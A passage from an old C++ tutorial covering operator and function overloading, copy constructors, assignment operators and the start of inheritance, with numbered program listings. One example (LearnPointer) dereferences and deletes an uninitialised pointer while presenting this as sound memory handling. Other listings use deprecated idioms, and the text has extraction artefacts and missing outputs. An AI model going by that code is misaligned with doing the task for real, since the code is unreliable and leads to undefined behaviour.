- Note that it would be illegal to attempt to use the * operator the other way around, namely large *
4 since we did not define a method to use the two types in that order. Another overloading could be
given with reversed types, and we could then use the reverse order in a program.
- You will notice that when using operator overloading, we are also using function name overloading
since some of the function names are same. When we use operator overloading in this manner, we
actually make our programs look like the class is a natural part of the language since it is integrated into
the language so well.
- Each new part we study has its pitfalls which must be warned against and the part of operator
overloading seems to have the record for pitfalls since it is so prone to misuse and has several
problems.
- The overloading of operators is only available for classes; you cannot redefine the operators for the
predefined basic data types.
- The preprocessing symbols # and ## cannot be overloaded.
- The =, [ ], ( ), and Æ operators can be overloaded only as non-static member functions. These
operators cannot be overloaded for enum types. Any attempt to overload a global version of these
operators results in a compile-time error.
- The keyword operator followed by the operator symbol is called the operator function name; it is
used like a normal function name when defining the new (overloaded) action for the operator.
- The operator function cannot alter the number of arguments or the precedence and associativity rules
applying to normal operator use.
- Table 13.1 and 13.2 list the operators that can be overloaded and cannot be overloaded respectively.
- Which method is used is implementation dependent, so you should use them in such a way that it
doesn’t matter which is used. Compile and run the program opverlod.cpp before continuing on the
next program example.

Operators
+ - * / %
^ & | ~ !
= < > += -=
*= /= %= ^= &=
|= << >> >>= <<=
== != <= >= &&
|| ++ -- ->* ,
Æ [ ] ( ) new delete

Table 13.1: Operators that can be overloaded

Operators
. .* ?: ::

Table 13.2: Operators that cannot be overloaded

13.13 Function Overloading

- Examine the program named funovlod.cpp. This is an example of function name overloading
within a class. In this program, the constructor is overloaded as well as one of the methods to illustrate
what can be done.

1. //Program funovlod.cpp, function overloading


2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //----------------------class declaration part--------------
6. class many_names
7. {
8. int length;
9. int width;
10. public:
11. many_names(void);
12. many_names(int len);
13. many_names(int len, int wid);
14. //constructors with different number and type
15. //of parameter list – overloaded functions
16. void display(void);
17. void display(int one);
18. void display(int one, int two);
19. void display(float number);
20. //methods with different number and type
21. //of parameter list – overloaded functions
22. };
23.
24. //----------------implementation part------------------------
25. many_names::many_names(void) //void
26. {
27. length = 8;
28. width = 8;
29. }
30.
31. many_names::many_names(int len) //one parameter
32. {
33. length = len;
34. width = 8;
35. }
36.
37. many_names::many_names(int len, int wid) //two parameter
38. {
39. length = len;
40. width = wid;
41. }
42.
43. void many_names::display(void) //void for display
44. {
45. cout<<"From void display function, Area = "<<length * width<<"\n";
46. }
47.
48. void many_names::display(int one) // 1 parameter
49. {
50. cout<<"From int display function, Area = "<<length * width<<"\n";
51. }
52.
53. void many_names::display(int one, int two) //2 parameters
54. {
55. cout<<"From two int display function, Area = "<<length * width<<"\n";
56. }
57.
58. void many_names::display(float number) //1 parameter
59. {
60. cout<<"From float display function, Area = "<<length * width<<"\n";
61. }
62.
63. //-------------------main program-------------------
64. main()
65. {
66. many_names small, medium(10), large(12,15);
67. int gross = 144;
68. float pi = 3.1415, payroll = 12.50;
69.
70. cout<<"Guess, which function that they invoked???\n";
71. cout<<"------------------------------------------\n";
72. cout<<"-->small.display()\n";
73. small.display();
74. cout<<"\n-->small.display(100)\n";
75. small.display(100);
76. cout<<"\n-->small.display(gross,100)\n";
77. small.display(gross,100);
78. cout<<"\n-->small.display(payroll)\n";
79. small.display(payroll);
80. cout<<"\n-->medium.display()\n";
81. medium.display();
82. cout<<"\n-->large.display(pi)\n";
83. large.display(pi);
84.
85. system("pause");
86. }

86 lines: Output:

- This program illustrates some of the overloaded function names and the rules for their use. You will
recall that the function selected is based on the number and types of the formal parameters only. The
type of the return value is not significant in overload resolution.
- In this case there are three constructors. The constructor which is actually called is selected by the
number and types of the parameters in the definition.
- In line 66 of the main program the three objects are declared, each with a different number of
parameters and inspection of the results will indicate that the correct constructor was called based on
the number of parameters. The code segment is:
many_names small, medium(10), large(12, 15);

- In the case of the other overloaded methods, the number and type of parameters is clearly used to select
the proper method. You will notice that the one method uses a single integer and another uses a single
float type variable, but the system is able to select the correct one.
- As many overloading as desired can be used provided that all of the parameter patterns are unique.
- Other example is the << operator which is part of the cout class, which operates as an overloaded
function since the way it outputs data is a function of the type of its input variable or the field we ask it
to display.
- Many programming languages have overloaded output functions so you can output any data with the
same function name. Compile and run this program.

13.14 Default Methods

- Examine the program deftmeth.cpp carefully, illustrating those methods provided by the compiler,
and why you sometimes can’t use the defaults but need to write your own, to do the job the defaults
were intended to do for you.

1. //program deftmeth.cpp, default method


2. #include <iostream.h>
3.
4. #include <string.h>
5. #include <stdlib.h>
6.
7. //------------------class declaration part-------------------
8. class def
9. {
10. int size; //A simple stored value
11. char *string; //A name for the stored data
12. public:
13. //This overrides the default constructor
14. def(void);
15.
16. //This overrides the default copy constructor
17. def(def &in_object);
18.
19. //This overrides the default assignment operator
20. def &operator=(def &in_object);
21.
22. //This destructor should be required with dynamic allocation
23. ~def(void);
24.
25. //And finally, a couple of ordinary methods
26. void set_data(int in_size, char *in_string);
27. void get_data(char *out_string);
28. };
29.
30. //-------------------class implementation------------------
31. def::def(void)
32. {
33. size = 0;
34. string = new char[2];
35. strcpy(string, "");
36. }
37.
38. def::def(def &in_object)
39. {
40. size = in_object.size;
41. string = new char[strlen(in_object.string) + 1];
42. strcpy(string, in_object.string);
43. }
44.
45. def& def::operator=(def &in_object)
46. {
47. delete [] string;
48. size = in_object.size;
49. string = new char[strlen(in_object.string) + 1];
50. strcpy(string, in_object.string);
51. return *this; //this pointer
52. }
53.
54. def::~def(void)
55. {
56. delete [] string;
57. }
58.
59. void def::set_data(int in_size, char *in_string)
60. {
61. size = in_size;
62. delete [] string;
63. string = new char[strlen(in_string) + 1];
64. strcpy(string, in_string);
65. }
66.
67. void def::get_data(char *out_string)
68. {
69. char temp[10];
70. strcpy(out_string, string);
71. strcat(out_string, " = ");
72. itoa(size, temp, 10);
73. strcat(out_string, temp);
74. }
75.
76. //-----------------------main program------------------------
77. void main()
78. {
79. char buffer[80];
80. def my_data;
81. my_data.set_data(8, " small size, override default constructor ");
82. my_data.get_data(buffer);
83. cout<<" content of buffer!!\n"<<buffer<<"\n";
84.
85. def more_data(my_data);
86. more_data.set_data(12, " medium size, override copy constructor");
87. my_data.get_data(buffer);
88. cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";
89.
90.
91. my_data = more_data;
92. my_data.get_data(buffer);
93. cout<<"\n content of buffer 3rd round, assignment
94. overload!!\n"<<buffer<<"\n";
95.
96. system("pause");
97. }

97 lines: Output:

- Even if you do not include any constructors or operator overloading, you get a few defined
automatically by the compiler.
- Before we actually look at the program, a few rules must be followed in order to deliver a useful
implementation such as:

▪ If no constructors are defined by the writer of a class, the compiler will automatically
generate a default constructor and a copy constructor. Both of these constructors will be
defined for you later.
▪ If the class author includes any constructor in the class, the default constructor will not be
supplied by the constructor.
▪ If the class author does not include a copy constructor, the compiler will generate one, but if
the writer includes a copy constructor, the compiler will not generate one automatically.
▪ If the class author includes an assignment operator, the compiler will not include one
automatically; otherwise it will generate a default assignment operator.
- Any class declared and used in a C++ program must have some way to construct an object because the
compiler, by definition, must call a constructor when we instantiate an object. If we don’t provide a
constructor, the compiler itself will generate one that it can call during construction of the object.
- This is the default constructor, it is compiler work and we have used it implicitly in our programs
examples. The default constructor does not initialize any of the member variables, but it sets up all of
the internal class references it needs, and calls the base constructor or constructors if they exist.
- Base constructor is a constructor in the base class, and will be discussed in inheritance Module.
- Line 14 of the program declares a default constructor as shown below which is called when you
instantiate an object with no parameters.

def(void);

- In this case, the constructor is necessary because we have an embedded string in the class that requires
a dynamic allocation and an initialization of the string pointer to the NULL.
- It will take little thought to see that our constructor is much better than the default constructor which
would leave us with an uninitialized pointer. The default constructor is used in line 81 of this program
example (8 instead of 12) as shown below.

my_data.set_data(8, " small size, override default constructor ");

13.15 The Copy Constructor

- The copy constructor is generated automatically for you by the compiler if you fail to define one. It is
used to copy the contents of an object to a new object during construction of that new object.
- If the compiler generates it for you, it will simply copy the contents of the original into the new object
byte by byte, which may not be what you want.
- For simple classes with no pointers, that is usually sufficient, but in our program example, we have a
pointer as a class member so a byte by byte copy would copy the pointer from one to the other and they
would both be pointing to the same allocated member.
- For this reason, we declared our own copy constructor in line 16 as shown below.

//This overrides the default copy constructor


def(def &in_object);
...

- And implemented in lines 38 to 43 as shown below.

def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string)
}

- A careful study of the implementation will reveal that the new class will indeed be identical to the
original, but the new class has its own string to work with.
- Since both constructors contain dynamic allocation, we must assure that the allocated data is destroyed
when we are finished with the objects, so a destructor is mandatory as implemented in lines 54
through 57 as shown below.

def::~def(void)
{
delete [] string;
}

- And the copy constructor is used in line 86 as shown below.

more_data.set_data(12, " medium size, override copy constructor");

- Generally, copy constructors are invoked whenever a copy of an object is needed such as function call
by value, when returning an object from a called function or when initializing an object to be a copy of
another object of the same class.
13.16 The Assignment Operator

- Also, an assignment operator is required for this program, because the default assignment operator
simply copies the source object to the destination object byte by byte. This would result in the same
problem we had with copy constructor.
- The assignment operator is declared in line 20 as shown below:

//This overrides the default assignment operator


def &operator=(def &in_object);
...

- And defined in lines 45 through 52 as shown below:

def& def::operator=(def &in_object)


{
delete [] string;
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
return *this;
}

- Here, we de-allocate the old string in the existing object prior to allocating room for the new text and
copying the text from the source object into the new object. The assignment operator is used in line 91
as shown below.

my_data = more_data;

- It should be fairly obvious to you that when a class is defined which includes any sort of dynamic
allocation, the above three methods should be included in addition to the proper destructor.
- If any of the four entities are omitted, the program may have terribly erratic behavior. Compile and
run this program example.

Program Examples and Experiments

Example #1

- The following example tries to show the pointer and string manipulation in class. Study the program
execution flow.

#include <iostream.h>
#include <stdlib.h>

class PlayText
{

char *NewPointerVariable;

public:
PlayText(char *InputFromMainProgPointer);
int GetData(void);
};

PlayText::PlayText(char *InputFromMainProgPointer)
{
cout<<"Location: constructor implementation part\n";
cout<<"Examine the flow of execution!!!\n";
cout<<"String brought by object from main program is
"<<"\""<<InputFromMainProgPointer<<"\""<<"\n";
cout<<"through pointer variable *InputFromMainProgPointer\n";
cout<<"Assign this string to class member pointer variable\n";
cout<<"*NewPointerVariable\n";
cout<<"Next Location: Main program\n\n";

NewPointerVariable = InputFromMainProgPointer;
}
int PlayText::GetData(void)
{
cout<<NewPointerVariable<<" = ";
return 100;
}
void main()
{
PlayText small("of small size");

cout<<"cout string of main program \"Area of...\" mix \n";


cout<<"with variable NewPointerVariable and silly integer value\n";
cout<<"from implementation part by using small.GetData()....\n";
cout<<"Go to implementation part after next cout, and the output is: \n\n";
cout<<"Area of wall surface ";
cout<<small.GetData()<<"\n";
system("pause");
}

Output:

Example #2

- In this example we can see how efficient regarding the memory allocation and de allocation up been
implemented.

#include <iostream.h>
#include <stdlib.h>

class LearnPointer
{
int *MemVarPoint;
public:
LearnPointer(void);
void SetData(int InputData);
int GetData(void)
{ return *MemVarPoint; };
~LearnPointer(void);
};

LearnPointer::LearnPointer(void)
{
*MemVarPoint = 100;
cout<<"In Constructor: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
}

void LearnPointer::SetData(int InputData)


{
cout<<"In Method: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
*MemVarPoint = InputData;
}

LearnPointer::~LearnPointer(void)
{
delete MemVarPoint;
}

void main()
{
LearnPointer SimpleData;
int x;

cout<<"First time: This is constructor value = "<<SimpleData.GetData()<<"\n\n";


SimpleData.SetData(1000);
cout<<"Set the data, call method from implementation part\n";
cout<<"Second time: Override the constructor value = "<<SimpleData.GetData()<<"\n";
cout<<"\nLet get data from user\n";
cout<<"Please key in one integer value: ";
cin>>x;
SimpleData.SetData(x);
cout<<"Third time: New data from user = "<<SimpleData.GetData()<<"\n";
cout<<"\n...See...different data, at different time but"<<endl;
cout<<"same memory (address) allocation..."<<endl;
system("pause");
}

Output:

Example #3

- Compile and run the following program example of the new and delete operators.

//testing the new and delete keywords


#include <iostream.h>
#include <stdlib.h>

//----------class declaration part------------


class TestNewDel
{
//member variables...
private:
int TestVar;
char *TestPtr;

//member functions, constructor and destructor...


public:
TestNewDel();
int DisplayValue();
char* DisplayStr();
~TestNewDel();
};

//-------class implementation part-------------


//constructor...
TestNewDel::TestNewDel()
{
//test how the constructor is invoked...
static int x=1;
cout<<"In Constructor, pass #"<<x<<endl;
x++;
}

//simple function returning a value...


int TestNewDel::DisplayValue()
{
return TestVar = 200;
}

//another function returning a string...


char* TestNewDel::DisplayStr()
{
TestPtr = "Testing the new and delete";
return TestPtr;
}

//destructor...
TestNewDel::~TestNewDel()
{
//test how destructor is invoked...
//use static to retain previous value…
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly clean up...
TestVar = 0;
}

//--------------main program-----------
int main()
{
//instantiate an object...
//constructor should be invoked...
//with proper memory allocation...
TestNewDel Obj1;

cout<<"In main, testing 1...2...3..."<<endl;


//display the data value...
cout<<"Default constructor value assign to Obj1 = "<<Obj1.DisplayValue()<<endl;

//invoke constructor explicitly...


//remember to clean up later explicitly...
TestNewDel* Obj2 = new TestNewDel;
//reconfirm the allocation for Obj2...
if(!Obj2)
cout<<"Allocation to Obj2 failed!"<<endl;
else
cout<<"Allocation to Obj2 is OK!"<<endl;

//display the data value...


cout<<"Default constructor value "
<<"\n assigned to Obj2 = "<<"\'"<<Obj2->DisplayStr()<<"\'"<<endl;

//explicitly clean up the allocation...


delete Obj2;

system("pause");
return 0;
}

Output:

- The output using Visual C++ 6.0 (VC60) as shown below look like the cleanup job was done properly.
Destructor invoked two times that is for Obj1 and Obj2 each.
- For Borland users, if you want to see a complete output, please use its debugger such as Turbo
Debugger.
- Next, comment out the following code from the program example:

delete Obj2;

- Recompile and re run the program. In this case, let see what happen if we forgot to do the clean up/de-
allocation job explicitly for the new keyword use. The output using VC60 is shown below:

- Well, the clean up job was not done for Obj2, the destructor only invoked once. So, be careful of this
behavior.

Example #4

//operators overloading example


#include <iostream.h>
#include <stdlib.h>
#include <assert.h>

//---------class declaration part--------------


class TestArray
{
//these overloaded << and >> must be friend of TestArray class...
//so the overloaded << and >> of TestArray class are available
//for the ostream and istream classes, u will learn later...
//ostream and istream are C++ file I/O...
//equal to operator(cout, object) function,
friend ostream &operator<<(ostream &,TestArray &);
//equal to operator(cin, object) function
friend istream &operator>>(istream &,TestArray &);

public:
//default constructor
TestArray(int = 4);
//copy constructor
TestArray(const TestArray &);
//destructor
~TestArray();

//return the size of the an array


int GetSize() const;
//overloaded the assignment operator
const TestArray &operator=(const TestArray &);
//overloaded the == operator
int operator==(const TestArray &) const;
//overloaded the != operator
int operator!=(const TestArray &) const;
//overloaded the [] operator
int &operator[](int);

private:
int *ptr;
int size;
};

//----------class implementation part------------


//default constructor for TestArray class
TestArray::TestArray(int ArraySize)
{
size = ArraySize;
ptr = new int[size];
assert(ptr != 0);
for(int i= 0;i<size;i++)
ptr[i] = 0;
}

//copy constructor for TestArray class


TestArray::TestArray(const TestArray &initial)
{
size = initial.size;
ptr = new int[size];
assert(ptr !=0);
for(int i = 0;i<size;i++)
ptr[i] = initial.ptr[i];
}

//destructor for TestArray class


TestArray::~TestArray()
{
delete[] ptr;
}

//get the array's size


int TestArray::GetSize() const {return size;}

//overloaded the subscript/index operator


int &TestArray::operator[](int index)
{
assert((index >= 0) && (index < size));
return ptr[index];
}

//== comparison, return 1 if true, 0 if false


int TestArray::operator==(const TestArray &rightside) const
{
if (size != rightside.size)
return 0;
for(int i = 0; i< size; i++)
if(ptr[i] != rightside.ptr[i])
return 0;
return 1;
}

//!= comparison, return 1 if true, 0 if false


int TestArray::operator!=(const TestArray &rightside) const
{
if (size != rightside.size)
return 1;
for(int i = 0; i<size;i++)
if (ptr[i] != rightside.ptr[i])
return 1;
return 0;
}

//overloaded assignment operator


const TestArray &TestArray::operator=(const TestArray &rightside)
{
if(&rightside != this)
{
delete [] ptr;
size = rightside.size;
ptr = new int[size];
assert(ptr !=0);
for(int i = 0; i< size; i++)
ptr[i] = rightside.ptr[i];
}
return *this;
}

//overloaded the >> operator


istream &operator>>(istream &input, TestArray &x)
{
for(int i = 0; i < x.size; i++)
input>>x.ptr[i];
return input;
}

//overloaded the << operator


ostream &operator<<(ostream &output, TestArray &x)
{
int i;
for(i = 0; i < x.size; i++)
{
output<<x.ptr[i]<<' ';

if((i+1)%10==0)
output<<endl;
}
if (i % 10 !=0)
output << endl;
return output;
}

//-----------main program-------------
int main()
{
//One(3) same as One = 3 and Two will use
//the default constructor value, 4
TestArray One(3), Two;

cout<<"Array One's size is "


<<One.GetSize()
<<"\nWith initial data: "<<One;

cout<<"Array Two's size is "


<<Two.GetSize()
<<"\nWith initial data: "<<Two;

cout<<"\nNow, input 7 integers for the arrays:\n";


cin>>One>>Two;
cout<<"\nThen, the arrays content:\n"
<<"One[]: "<<One
<<"Two[]: "<<Two;

cout<<"\nNew array, copy of One's array:";


TestArray Three(One);
cout<<"\nThe new array, Three size is "<<Three.GetSize()
<<"\nArray initial value: "<<Three;

cout<<"\nTesting: One == Three?\n";


if(One == Three)
cout<<"They are equal\n";
else
cout<<"They are not equal!";

cout<<"\nTesting: One != Two?\n";


if(One != Two)
cout<<"They are not equal\n\n";

cout<<"Assigning Two to One:\n";


One = Two;
cout<<"One: "<<One<<"Two: "<<Two;

cout<<"\nTesting: One == Two?\n";


if(One == Two)
cout<<"They are equal\n";
else
cout<<"They are not equal!\n";

system("pause");
return 0;
}

Output:
- Well, as an assignment, I pass to you to repackage this program into three files named testarray.h
as a header file, testarray.cpp as an implementation file and mainarray.cpp as main
program.
- The following is the simple program example of the complex number for operator and function
overloading.

//operator and function overloading


//the classic simple complex number example
#include <iostream.h>
#include <stdlib.h>

class complexnum
{
private:
double p, q;

public:
//constructor forming the a + bi
//overloaded function, with two arguments...
complexnum(double a, double b)
{
p = a;
q = b;
}

//Constructor forming the a + 0i


//overloaded function, with one argument...
complexnum(double a)
{
p = a;
q = 0;
}

//Returns the real part


double realpart()
{return p; }

//Returns the complex part


double imaginarypart()
{ return q; }

//Addition operation of two complex numbers


//overloaded operator +
complexnum operator+(complexnum a)
{ return complexnum(a.p + p, a.q + q); }

//Addition a complex number and a double


//overloaded operator +
complexnum operator+(double a)
{ return complexnum(p + a, q);}

//Subtraction operation of two complex numbers...


//overloaded operator -
complexnum operator-(complexnum a)
{ return complexnum(p - a.p, q - a.q); }

//Addition a complex number and a double


//overloaded operator -
complexnum operator-(double a)
{ return complexnum(p - a, q); }
};

//display format for complex number...


//overloaded operator <<
ostream& operator<<(ostream& s, complexnum r)
{
//if no imaginary part...
if(r.imaginarypart() == 0)
//return real part only...
return s<<r.realpart();

//if imaginary part < 0, i.e negative...


else if(r.imaginarypart() < 0 )
{
//and if no real part
if(r.realpart() == 0)
//return imaginary part only...
return s<<r.imaginarypart()<<"i";
else
//return both real and imaginary parts...
return s<<r.realpart()<<r.imaginarypart()<<"i";
}
else
{
//and if no real part
if(r.realpart() == 0)
//return imaginary part only...
return s<<r.imaginarypart()<<"i";
else
//return both, real and imaginary parts...
return s<<r.realpart()<<" + "<<r.imaginarypart()<<"i";
}

void main()
{
double a,b;

//get two numbers


cout<<"Enter 2 numbers: ";
cin>>a>>b;
complexnum r = complexnum(a,b);
cout<<"\nThe complex form is r = "<<r<<endl;
complexnum t = complexnum(7.0);
cout<<"\nGiven t = "<<t<<endl;
//Addition of complex number and constant…
cout<<"\nThen, r + t = "<<(r+t)<<endl;
//Subtraction of complex number and complex number
cout<<"\nThen, r - (4 + 2i) = "<<(r - complexnum(4,2))<<endl;
//addition of complex number and complex number
cout<<"\nThen, r + (2 + 2i) = "<<(r + complexnum(2,2))<<endl;
system("pause");
}

Output:
- Keep in mind that for complex number manipulation you better use the standard C++ library,
<complex>.
- Program example compiled using VC++/VC++ .Net.

//program deftmeth.cpp, default method


#include <iostream>
#include <cstring>
using namespace std;

//----------class declaration part-----------


class def
{
int size; //A simple stored value
char *string; //A name for the stored data
public:
//This overrides the default constructor
def(void);

//This overrides the default copy constructor


def(def &in_object);

//This overrides the default assignment operator


def &operator=(def &in_object);

//This destructor should be required with dynamic allocation


~def(void);

//And finally, a couple of ordinary methods


void set_data(int in_size, char *in_string);
void get_data(char *out_string);
};

//-------------------class implementation------------------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}

def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}

def& def::operator=(def &in_object)


{
delete [] string;
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
return *this; //this pointer
}

def::~def(void)
{
delete [] string;
}

void def::set_data(int in_size, char *in_string)


{
size = in_size;
//delete the string size object…
delete [] string;
string = new char[strlen(in_string) + 1];
strcpy(string, in_string);
}

void def::get_data(char *out_string)


{
char temp[10];
strcpy(out_string, string);
strcat(out_string, " = ");
itoa(size, temp, 10);
strcat(out_string, temp);
}

//--------------main program------------------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");
my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";

def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";

my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";
}

Output:

- Previous program example compiled using g++.

/////-program objarray.cpp-//////
/////-FEDORA 3, g++ x.x.x-///////
/////-object and array-//////////
#include <iostream>
using namespace std;

//------------------class declaration-------------------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
//inline function
int get_extra(void) {return extra_data++;}
};

//------------------class implementation----------------
int wall::extra_data; //Definition of extra_data
//constructor, assigning initial values
wall::wall(void)
{
length = 8;
width = 8;
extra_data = 1;
}

//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}

//----------------------main program-------------------
int main()
{
//instantiates 7 objects
wall small, medium, large, group[4];

//assigning values
small.set(5, 7);
large.set(15, 20);

//group[0] uses the default


for(int index=1; index<4; index++)
group[index].set(index + 10, 10);

cout<<"Sending message-->small.get_area()\n";
cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";

cout<<"New length/width group[index].set(index + 10, 10)\n";


for(int index=0; index<4; index++)
{
cout<<"Sending message using an array-->group"<<"["<<index<<"].get_area()\n";
cout<<"An array of wall area "<<index<<" is "<<group[index].get_area()<<"\n\n";
}

cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";
cout<<"Extra data value is "<<small.get_extra()<<"\n";
cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";
return 0;
}

[bodo@bakawali ~]$ g++ objarray.cpp -o objarray


[bodo@bakawali ~]$ ./objarray

Sending message-->small.get_area()
Area of the small wall is 35

Sending message-->medium.get_area()
Area of the medium wall is 64

Sending message-->large.get_area()
Area of the large wall is 300

New length/width group[index].set(index + 10, 10)


Sending message using an array-->group[0].get_area()
An array of wall area 0 is 64

Sending message using an array-->group[1].get_area()


An array of wall area 1 is 110
Sending message using an array-->group[2].get_area()
An array of wall area 2 is 120

Sending message using an array-->group[3].get_area()


An array of wall area 3 is 130

extra_data = 1, extra_data++
Sending message using-->small.get_extra() or
array, group[0].get_extra()
Extra data value is 1
New Extra data value is 2
New Extra data value is 3
New Extra data value is 4
New Extra data value is 5

---------------------------------------------o0o------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ and object oriented books at Amazon.com.
2. Any reference to Data Structures Using C.
3. Any reference to Data Structures Using C++. But may be it is better to use the container, iterator and
algorithm of Standard Template Library (STL) :o).
MODULE 14
INHERITANCE I

My Training Period: hours

Abilities

▪ Able to understand the inheritance concept.


▪ Able to understand and use base class (parent class).
▪ Able to understand and use derived class (child class).
▪ Able to understand the use of the preprocessor directive to avoid the multiple inclusion of the
same file.
▪ Able to understand the class hierarchy.

10.1 Introduction

- Inheritance permits to reuse code from the already available classes, also gives you the flexibility to do
modification if the old code doesn’t exactly fit the task of the new project.
- It doesn’t make sense to start every new project with new classes, from scratch since most of the code
will certainly be repeated in several programs such as common tasks or routines.
- You are less likely to make an error if you leave the original alone and only add new features to it.
Another reason for using inheritance is if the project requires the use of several classes which are very
similar but slightly different.
- In this Module, we will concentrate on the mechanism of inheritance and how to build it into a
program.
- C++ allows you to inherit all or part of the members and methods of classes, modify some, and add new
ones that not available in the base class.

14.2 Starting Point

- Examine the file named vehicle.h for simple class which we will use to begin our study of
inheritance. It consists of four simple methods which can be used to manipulate data pertaining to our
vehicle.

1. //class declaration part, vehicle.h, header file


2. //save and include this file in your project
3. //do not compile or run
4.
5. #ifndef VEHICLE_H //preprocessor directive
6. #define VEHICLE_H
7.
8. //----------class declaration part – the interface----------
9. class Cvehicle
10. {
11. protected: //new keyword
12. int wheels;
13. int weight;
14. public:
15. void initialize(int input_wheels, float input_weight);
16. int get_wheels(void);
17. float get_weight(void);
18. float wheel_load (void);
19. };
20. #endif

20 Lines of codes

Program 14.1: vehicle.h program, declaration of Cvehicle class

- We will eventually refer to this as a base class or parent class, but for the time being, we will simply
use it like any other class to show that it is indeed just a normal class.
- Note that we will explain the added keyword protected shortly. Figure 14.1 is a graphical
representation of the Cvehicle class. Ignore lines 5, 6, and 11, they will be explained in detail
later. This program cannot be compiled or executed because it is only a header file but makes sure
there are no errors such as typing errors.

www.tenouk.com
14.3 The Cvehicle Class Implementation – vehicle.cpp

- Examine the file named vehicle.cpp, and you will find that it is the implementation of the vehicle
class. The initialize() method assigns the values input as parameters to the wheels and
weight variables.

1. //Program vehicle.cpp, implementation part,


2. //compile without error, generating object file, do not run
3. #include "vehicle.h"
4.
5. //---------------class implementation part---------------------
6. //initialize to data input by user
7. void Cvehicle::initialize(int input_wheels, float input_weight)
8. {
9. wheels = input_wheels;
10. weight = input_weight;
11. }
12.
13. //get the number of wheels of this vehicle
14. int Cvehicle::get_wheels()
15. {
16. return wheels;
17. }
18.
19. //return the weight of this vehicle
20. float Cvehicle::get_weight()
21. {
22. return weight;
23. }
24.
25. //return the load on each wheel
26. float Cvehicle::wheel_load()
27. {
28. return (weight/wheels);
29. }

29 Lines of codes

Program 14.2: vehicle.cpp, implementation program of Cvehicle class

- We have methods to return the number of wheels and the weight, and finally, we have one that
does a calculation to return the load on each wheel. At this point, we are more interested in learning
how to implement the interface to the classes.
- We will use it as a base class later. Compile this program without error, generating object file, in
preparation for the next program example, but you cannot execute it because there is no main() entry
point.

14.4 Using The Vehicle Class – The main() program

www.tenouk.com
- The file named transprt.cpp uses the Cvehicle class in similar manner as we have illustrated in
the previous Module. This should be an indication to you that the Cvehicle class is just a normal
class as defined in C++.

1. //program transprt.cpp, the main program,


2. //compile and run
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6. #include "vehicle.h"
7. //user define header file and put it in the same folder as this program
8.
9. void main()
10. {
11. Cvehicle car, motorcycle, truck, sedan_car;
12. //4 objects instantiated
13.
14. //data initialization
15. car.initialize(4,3000.0);
16. truck.initialize(20,30000.0);
17. motorcycle.initialize(2,900.0);
18. sedan_car.initialize(4,3000.0);
19.
20. //Display the data
21. cout<<"The car has "<<car.get_wheels()<< " tires.\n";
22. cout<<"Truck has load "<<truck.wheel_load()<<" kg per tire.\n";
23. cout<<"Motorcycle weight is "<<motorcycle.get_weight()<<" kg.\n";
24. cout<<"Weight of sedan car is "<<sedan_car.get_weight()<<" kg, and has
25. "<<sedan_car.get_wheels()<<" tires.\n";
26.
27. system("pause");
28. }

28 Lines: Output:

Program 14.3: transprt.cpp the main program

- Inheritance uses an existing class and adds new functionalities to the new class, to accomplish another,
possibly more complex task.
- This program declares four objects of the Cvehicle class as shown in the code segment below:

Cvehicle car, motorcycle, truck, sedan_car;


//4 objects instantiated

- Initializes them as shown below:

//data initialization
car.initialize(4, 3000.0);
truck.initialize(20, 30000.0);
motorcycle.initialize(2,900.0);
sedan_car.initialize(4, 3000.0);

- And prints out a few of the data values. Compile and run this program.

14.5 Derived Class

- Examine the file named car.h, for our first example of using a derived class. The Cvehicle class is
inherited due to the ":public Cvehicle" code added to line 12 as shown below:

class Ccar : public Cvehicle

1. //another class declaration car.h


2. //save and include this file in your project

www.tenouk.com
3. //do not compile or run.
4.
5. #ifndef CAR_H
6. #define CAR_H
7.
8. #include "vehicle.h"
9.
10. //-----------derived class declaration part------------------
11. //Ccar class derived from Cvehicle class
12. class Ccar : public Cvehicle
13. {
14. int passenger_load;
15. public:
16. //This method will be used instead of the same
17. //method in Cvehicle class - overriding
18. void initialize(int input_wheels, float input_weight, int people = 4);
19. int passengers(void);
20. };
21.
22. #endif

22 Lines of codes

Program 14.4: car.h program, declaration of derived class Ccar

- This derived class named Ccar is composed of all the information included in the base class
Cvehicle, and all of its own additional information. Even though we did nothing to the class named
Cvehicle, we made it available in this car.h program.
- In fact, it can be used as a normal class and a base class in the same program.
- A class that inherits another class is called a derived class or a child class.
- Likewise the terminology for the inherited class is called a base class, but parent class and super class
are sometimes used.
- A base class is rather general class which can cover a wide range of objects attributes or behavior or
properties, whereas a derived class is somewhat more specific but at the same time more useful.
